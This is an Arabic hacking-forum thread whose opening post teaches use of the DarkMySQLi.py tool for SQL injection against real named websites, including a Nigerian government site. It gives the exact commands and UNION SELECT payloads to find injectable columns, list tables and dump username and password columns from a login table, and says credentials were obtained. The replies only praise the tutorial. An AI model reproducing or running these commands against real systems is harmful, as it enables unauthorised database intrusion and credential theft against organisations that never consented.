1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : AsSad HOmS | المشاهدات : 163 | الردود : 4
  1. AsSad HOmS V • I • P

    الأنتساب:
    ‏15 مارس 2014
    المشاركات:
    39
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    بسم الله الرحمن الرحيم




    الحمد الله رب العالمين الذي هدنا إلى صراط المستقيم




    اليوم معنا اداة ((DarkMySQLi.py)) تشبه عمل اداة Sqlmap في حقن قواعد البيانات




    خلينا نشوف معنا هادا الموقع




    كود:
    http://www.nbrri.gov.ng/sites/news.php?ID=31’a
    *=== تحديد كود ===*



    [​IMG]




    هادا الخطأ




    راح نحقن الموقع لازم نثبت البايثون على الويندوز أو تشغيل الاداة على لينكس




    كود:
    python DarkMySQLi.py -u "رابط الموقع المصاب " --findcol
    
    *=== تحديد كود ===*



    تمام لهون




    كود:
    DarkMySQLi.py -u http://www.nbrri.gov.ng/sites/news.php?ID=31 --findcol
    *=== تحديد كود ===*



    [​IMG]




    متل ماشايفين بدل مكان لاعمدة بكلمة ((darkc0de))




    ==========================================
    استخراج الجدوال والاعمدة




    كود:
    DarkMySQLi.py -u "هنا نضع الرابط الذي حصلنا عليه قبل قليل" --full
    *=== تحديد كود ===*



    كود:
    DarkMySQLi.py -u http://www.davidally.com/usosa/page.php?id=74+AND+1=2+UNION+SELECT+1,darkc0de,3,4,5,6,7,8,darkc0de,10,11,12,13,14-- --full
    *=== تحديد كود ===*



    [​IMG]




    تمام أستخرج معلومات الجدوال طلع معنا جدوال اليوزر والباس login




    كود:
    DarkMySQLi.py -u http://www.nbrri.gov.ng/sites/news.php?ID=31+AND+1=2+UNION+SELECT+1,darkc0de,3,darkc0de,darkc0de,6,7,8,9,10,11 --dump -D nbrrigov_123 -T userlogin -C username,password
    *=== تحديد كود ===*



    D ==> Database
    T ==> الجدوال
    C ==> العامود اليوزر والباس




    [​IMG]




    في امان الله












    التحميل من هنا​
     
  2. NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,544
    نقاط الجائزة:
    215
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    PHP
    رد: أداة DarkMySQLi.py لحقن قواعد البيانات

    بارك الله حبيبي واصل [​IMG]
     
  3. One MaN Developer

    الأنتساب:
    ‏22 أغسطس 2012
    المشاركات:
    86
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    الإقامة:
    PaLsTiNe - GaZa
    رد: أداة DarkMySQLi.py لحقن قواعد البيانات

    مجهود كبير
    بارك الله فيك اخي
     
  4. Y-WaLiS Developer

    الأنتساب:
    ‏8 يوليو 2012
    المشاركات:
    30
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    الإقامة:
    nador
    رد: أداة DarkMySQLi.py لحقن قواعد البيانات

    مجهود كبير


    بارك الله فيك اخي
     
  5. slaizer مشرف أختبار الأختراق V • I • P

    الأنتساب:
    ‏29 يوليو 2014
    المشاركات:
    607
    الإعجابات المتلقاة:
    551
    نقاط الجائزة:
    215
    الجنس:
    ذكر
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Python
    Facebook:
    رد: أداة DarkMySQLi.py لحقن قواعد البيانات

    مجهود رائع واداه رائعه [​IMG][​IMG][​IMG]
     

مشاركة هذه الصفحة